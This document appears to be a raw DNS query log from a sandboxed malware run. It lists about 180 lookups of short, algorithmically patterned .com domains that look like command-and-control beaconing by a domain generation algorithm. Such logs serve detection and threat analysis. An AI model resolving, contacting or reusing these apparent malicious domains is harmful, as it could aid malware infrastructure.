                                                                                                                                                                                                          Nov 11, 2024 18:13:35.585695982 CET192.168.2.61.1.1.10x935aStandard query (0)pufypiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.590470076 CET192.168.2.61.1.1.10xf703Standard query (0)qetylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.611571074 CET192.168.2.61.1.1.10xc26cStandard query (0)pupyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.617664099 CET192.168.2.61.1.1.10x4cb0Standard query (0)qekyfeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.621968031 CET192.168.2.61.1.1.10x8ce0Standard query (0)purytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.662405968 CET192.168.2.61.1.1.10xd1b3Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.667449951 CET192.168.2.61.1.1.10xa90cStandard query (0)lyryled.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.692327976 CET192.168.2.61.1.1.10x98baStandard query (0)vojydam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.797091961 CET192.168.2.61.1.1.10xae25Standard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.919466972 CET192.168.2.61.1.1.10xc4afStandard query (0)qedysov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.926557064 CET192.168.2.61.1.1.10xb068Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.935220003 CET192.168.2.61.1.1.10x7515Standard query (0)qekynuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.938868999 CET192.168.2.61.1.1.10xf220Standard query (0)puvyjop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.953946114 CET192.168.2.61.1.1.10x574cStandard query (0)lysyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.961440086 CET192.168.2.61.1.1.10xa495Standard query (0)lyvyjox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.962474108 CET192.168.2.61.1.1.10xfe14Standard query (0)vocyjic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.989726067 CET192.168.2.61.1.1.10xd89dStandard query (0)vojybek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.025599957 CET192.168.2.61.1.1.10x65cdStandard query (0)pupypiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.040296078 CET192.168.2.61.1.1.10x81e1Standard query (0)gatypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.043292999 CET192.168.2.61.1.1.10x9c90Standard query (0)qebykap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.043519020 CET192.168.2.61.1.1.10xef43Standard query (0)lyrytun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.043718100 CET192.168.2.61.1.1.10xa236Standard query (0)lysysod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.043890953 CET192.168.2.61.1.1.10xd59fStandard query (0)vopypif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.044085026 CET192.168.2.61.1.1.10xb30eStandard query (0)qetytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.044228077 CET192.168.2.61.1.1.10xed18Standard query (0)ganykaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.044629097 CET192.168.2.61.1.1.10x2708Standard query (0)pumylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.045100927 CET192.168.2.61.1.1.10x5229Standard query (0)gahyvew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.050421000 CET192.168.2.61.1.1.10x6889Standard query (0)pumywaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.053086996 CET192.168.2.61.1.1.10xe13fStandard query (0)galyfyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.056080103 CET192.168.2.61.1.1.10x1029Standard query (0)puzyguv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.057113886 CET192.168.2.61.1.1.10xb877Standard query (0)lymywaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.057595968 CET192.168.2.61.1.1.10x5f9bStandard query (0)volygyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.059895039 CET192.168.2.61.1.1.10xc001Standard query (0)vocymut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.060726881 CET192.168.2.61.1.1.10x7177Standard query (0)qedyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.084989071 CET192.168.2.61.1.1.10x223cStandard query (0)qeqyreq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.086456060 CET192.168.2.61.1.1.10xb117Standard query (0)lyxygud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.087222099 CET192.168.2.61.1.1.10xe59Standard query (0)gaqyreh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.089874029 CET192.168.2.61.1.1.10x5ee7Standard query (0)pufycol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.090091944 CET192.168.2.61.1.1.10x48f2Standard query (0)lygyvar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.090306044 CET192.168.2.61.1.1.10xd81dStandard query (0)vowyrym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.090553045 CET192.168.2.61.1.1.10xf2c0Standard query (0)gacyhis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.090723038 CET192.168.2.61.1.1.10xdd2aStandard query (0)vonyket.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.108623981 CET192.168.2.61.1.1.10xa470Standard query (0)qegysoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.123994112 CET192.168.2.61.1.1.10xcf23Standard query (0)gatyzys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.159653902 CET192.168.2.61.1.1.10xa112Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.169064045 CET192.168.2.61.1.1.10xc188Standard query (0)lykyfen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.169759989 CET192.168.2.61.1.1.10x5209Standard query (0)vopyzuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.170139074 CET192.168.2.61.1.1.10xbcd9Standard query (0)pujydag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.170646906 CET192.168.2.61.1.1.10xcf85Standard query (0)pujybyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.171174049 CET192.168.2.61.1.1.10xfd3fStandard query (0)vonyqok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.171478987 CET192.168.2.61.1.1.10xfa7eStandard query (0)gahydoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.221884966 CET192.168.2.61.1.1.10x9831Standard query (0)qexynyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.259588003 CET192.168.2.61.1.1.10x4058Standard query (0)lykynyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.261053085 CET192.168.2.61.1.1.10x224cStandard query (0)ganyqow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.264192104 CET192.168.2.61.1.1.10x242eStandard query (0)qebyqil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.264869928 CET192.168.2.61.1.1.10xb809Standard query (0)puvymul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.265335083 CET192.168.2.61.1.1.10xae72Standard query (0)lyvymir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.272152901 CET192.168.2.61.1.1.10x1996Standard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.474531889 CET192.168.2.61.1.1.10x87d1Standard query (0)lymyxid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.493403912 CET192.168.2.61.1.1.10x61dfStandard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.543286085 CET192.168.2.61.1.1.10xa128Standard query (0)galyqaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.553842068 CET192.168.2.61.1.1.10x865eStandard query (0)vocyzit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.581387997 CET192.168.2.61.1.1.10xe55fStandard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.587686062 CET192.168.2.61.1.1.10x3d9bStandard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.590895891 CET192.168.2.61.1.1.10x559fStandard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.602828026 CET192.168.2.61.1.1.10x83feStandard query (0)puzylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.606230974 CET192.168.2.61.1.1.10xa829Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.631724119 CET192.168.2.61.1.1.10x124cStandard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.634236097 CET192.168.2.61.1.1.10x8c8cStandard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.637444973 CET192.168.2.61.1.1.10xa9cbStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.641716957 CET192.168.2.61.1.1.10x5e17Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.647540092 CET192.168.2.61.1.1.10xc30cStandard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.689914942 CET192.168.2.61.1.1.10x4833Standard query (0)qegyhig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.704417944 CET192.168.2.61.1.1.10x3134Standard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.706629992 CET192.168.2.61.1.1.10x9de5Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.710891008 CET192.168.2.61.1.1.10xe8fbStandard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.731254101 CET192.168.2.61.1.1.10x29eeStandard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.759833097 CET192.168.2.61.1.1.10xdd18Standard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.760807037 CET192.168.2.61.1.1.10x9ee5Standard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.814865112 CET192.168.2.61.1.1.10x75d1Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.832103968 CET192.168.2.61.1.1.10x97bfStandard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.901961088 CET192.168.2.61.1.1.10x87d3Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.924376011 CET192.168.2.61.1.1.10xd875Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.948390007 CET192.168.2.61.1.1.10x19adStandard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.952666044 CET192.168.2.61.1.1.10x8759Standard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.993355989 CET192.168.2.61.1.1.10xd1deStandard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.079809904 CET192.168.2.61.1.1.10x6e7bStandard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.139149904 CET192.168.2.61.1.1.10x6299Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.145134926 CET192.168.2.61.1.1.10x15fbStandard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.182558060 CET192.168.2.61.1.1.10x800cStandard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.203246117 CET192.168.2.61.1.1.10x2cc5Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.218911886 CET192.168.2.61.1.1.10x53f5Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.247178078 CET192.168.2.61.1.1.10xfaeaStandard query (0)vonypom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.282207966 CET192.168.2.61.1.1.10x18ffStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.812305927 CET192.168.2.61.1.1.10x780cStandard query (0)gacyvah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.816901922 CET192.168.2.61.1.1.10x9563Standard query (0)vojypuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.827450991 CET192.168.2.61.1.1.10x53e9Standard query (0)qetykol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.834781885 CET192.168.2.61.1.1.10xea68Standard query (0)puvybeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.851094007 CET192.168.2.61.1.1.10x1dd6Standard query (0)lykysix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.851807117 CET192.168.2.61.1.1.10x4cbaStandard query (0)puryjil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.854623079 CET192.168.2.61.1.1.10xb9c7Standard query (0)lymymud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.898005962 CET192.168.2.61.1.1.10xe864Standard query (0)gahypus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.904134035 CET192.168.2.61.1.1.10x1903Standard query (0)qeqyqiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.904647112 CET192.168.2.61.1.1.10x7127Standard query (0)lygyxun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.910975933 CET192.168.2.61.1.1.10x43d3Standard query (0)vopykak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.932883978 CET192.168.2.61.1.1.10xd17fStandard query (0)qegytyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.933557034 CET192.168.2.61.1.1.10x5b24Standard query (0)qebynyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.934087992 CET192.168.2.61.1.1.10x8be1Standard query (0)pujypup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.934683084 CET192.168.2.61.1.1.10x2ea8Standard query (0)gatykow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:39.935233116 CET192.168.2.61.1.1.10x5568Standard query (0)vocybam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.029721022 CET192.168.2.61.1.1.10x1369Standard query (0)qebyhuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.032075882 CET192.168.2.61.1.1.10xe4fdStandard query (0)pujycov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.033957958 CET192.168.2.61.1.1.10xa08bStandard query (0)volybec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.469959021 CET192.168.2.61.1.1.10xdb7eStandard query (0)vofypuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.470510006 CET192.168.2.61.1.1.10x344eStandard query (0)puzybep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.470721960 CET192.168.2.61.1.1.10x7b5fStandard query (0)qeqykog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.471013069 CET192.168.2.61.1.1.10xc40eStandard query (0)gatyrez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.471175909 CET192.168.2.61.1.1.10xc201Standard query (0)ganynyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.503146887 CET192.168.2.61.1.1.10x71c9Standard query (0)lyxyfar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.503499031 CET192.168.2.61.1.1.10xd475Standard query (0)vowyqoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505188942 CET192.168.2.61.1.1.10xe67aStandard query (0)qexyfel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505359888 CET192.168.2.61.1.1.10x856dStandard query (0)gadypuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505523920 CET192.168.2.61.1.1.10xdeebStandard query (0)lymyjon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505660057 CET192.168.2.61.1.1.10x4ef5Standard query (0)gadyzyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505814075 CET192.168.2.61.1.1.10xc675Standard query (0)galyvas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.505965948 CET192.168.2.61.1.1.10xce65Standard query (0)lyvyguj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506105900 CET192.168.2.61.1.1.10xf8aaStandard query (0)lykyvod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506268024 CET192.168.2.61.1.1.10x44a0Standard query (0)ganyhuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506429911 CET192.168.2.61.1.1.10xc81dStandard query (0)pupytyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506593943 CET192.168.2.61.1.1.10x642dStandard query (0)qekyvav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506738901 CET192.168.2.61.1.1.10x1e15Standard query (0)pufyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.506938934 CET192.168.2.61.1.1.10xa2c1Standard query (0)lysylej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.507266045 CET192.168.2.61.1.1.10xe985Standard query (0)vonymuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.507451057 CET192.168.2.61.1.1.10xf24dStandard query (0)vopyret.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.507605076 CET192.168.2.61.1.1.10x3f7dStandard query (0)puzydal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.507740021 CET192.168.2.61.1.1.10x7e20Standard query (0)qedytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.507896900 CET192.168.2.61.1.1.10x991fStandard query (0)pumyjig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508048058 CET192.168.2.61.1.1.10x8357Standard query (0)pumymuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508220911 CET192.168.2.61.1.1.10xd01Standard query (0)galydoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508379936 CET192.168.2.61.1.1.10x97fStandard query (0)lysytyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508526087 CET192.168.2.61.1.1.10x11e8Standard query (0)vonyjim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508702040 CET192.168.2.61.1.1.10x549fStandard query (0)vojycif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508847952 CET192.168.2.61.1.1.10x9c19Standard query (0)qegyxug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.508996964 CET192.168.2.61.1.1.10xd85fStandard query (0)lyvynen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.512447119 CET192.168.2.61.1.1.10x91b2Standard query (0)lyrywax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.513068914 CET192.168.2.61.1.1.10x5b86Standard query (0)purywop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.523883104 CET192.168.2.61.1.1.10xc278Standard query (0)lyryjir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.524097919 CET192.168.2.61.1.1.10xebbbStandard query (0)qetyrap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.527415037 CET192.168.2.61.1.1.10x978aStandard query (0)puvygyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.528016090 CET192.168.2.61.1.1.10x98a2Standard query (0)gaqyqis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.528536081 CET192.168.2.61.1.1.10xebacStandard query (0)gahycib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.530567884 CET192.168.2.61.1.1.10xa995Standard query (0)gacyfew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.531161070 CET192.168.2.61.1.1.10x3cdbStandard query (0)volydot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.531856060 CET192.168.2.61.1.1.10xb76aStandard query (0)vocygyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.531936884 CET192.168.2.61.1.1.10xc372Standard query (0)qedyleq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.554011106 CET192.168.2.61.1.1.10x2bStandard query (0)pupylaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.554274082 CET192.168.2.61.1.1.10x2adaStandard query (0)qekysip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.688395023 CET192.168.2.61.1.1.10xc536Standard query (0)vofyzym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.868772030 CET192.168.2.61.1.1.10x147Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.871701956 CET192.168.2.61.1.1.10xe640Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.873779058 CET192.168.2.61.1.1.10x260aStandard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.874294996 CET192.168.2.61.1.1.10xfa37Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.875107050 CET192.168.2.61.1.1.10x6feeStandard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.875722885 CET192.168.2.61.1.1.10x81f1Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.876954079 CET192.168.2.61.1.1.10x1314Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.877285004 CET192.168.2.61.1.1.10x3df9Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.877465963 CET192.168.2.61.1.1.10xca0aStandard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.877780914 CET192.168.2.61.1.1.10xd154Standard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.885462999 CET192.168.2.61.1.1.10xf412Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.885714054 CET192.168.2.61.1.1.10x20b4Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.893357038 CET192.168.2.61.1.1.10x772eStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.953562021 CET192.168.2.61.1.1.10x6ad8Standard query (0)lymygyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.953941107 CET192.168.2.61.1.1.10x2641Standard query (0)pumygyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.954715967 CET192.168.2.61.1.1.10x6f10Standard query (0)vofyref.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.956357002 CET192.168.2.61.1.1.10x7176Standard query (0)qekyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.965205908 CET192.168.2.61.1.1.10xdfb3Standard query (0)puzyciq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.965380907 CET192.168.2.61.1.1.10xf3a4Standard query (0)gadyrab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.981863976 CET192.168.2.61.1.1.10x28d4Standard query (0)volycik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.982069969 CET192.168.2.61.1.1.10x3cceStandard query (0)ganyfes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.993200064 CET192.168.2.61.1.1.10x2781Standard query (0)pupywog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:40.993321896 CET192.168.2.61.1.1.10x8532Standard query (0)pujyxyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.004200935 CET192.168.2.61.1.1.10xb3eeStandard query (0)gahyzez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.004396915 CET192.168.2.61.1.1.10xbb1dStandard query (0)lyrymuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:41.047667980 CET192.168.2.61.1.1.10xa7bcStandard query (0)vonygec.comA (IP address)IN (0x0001)false
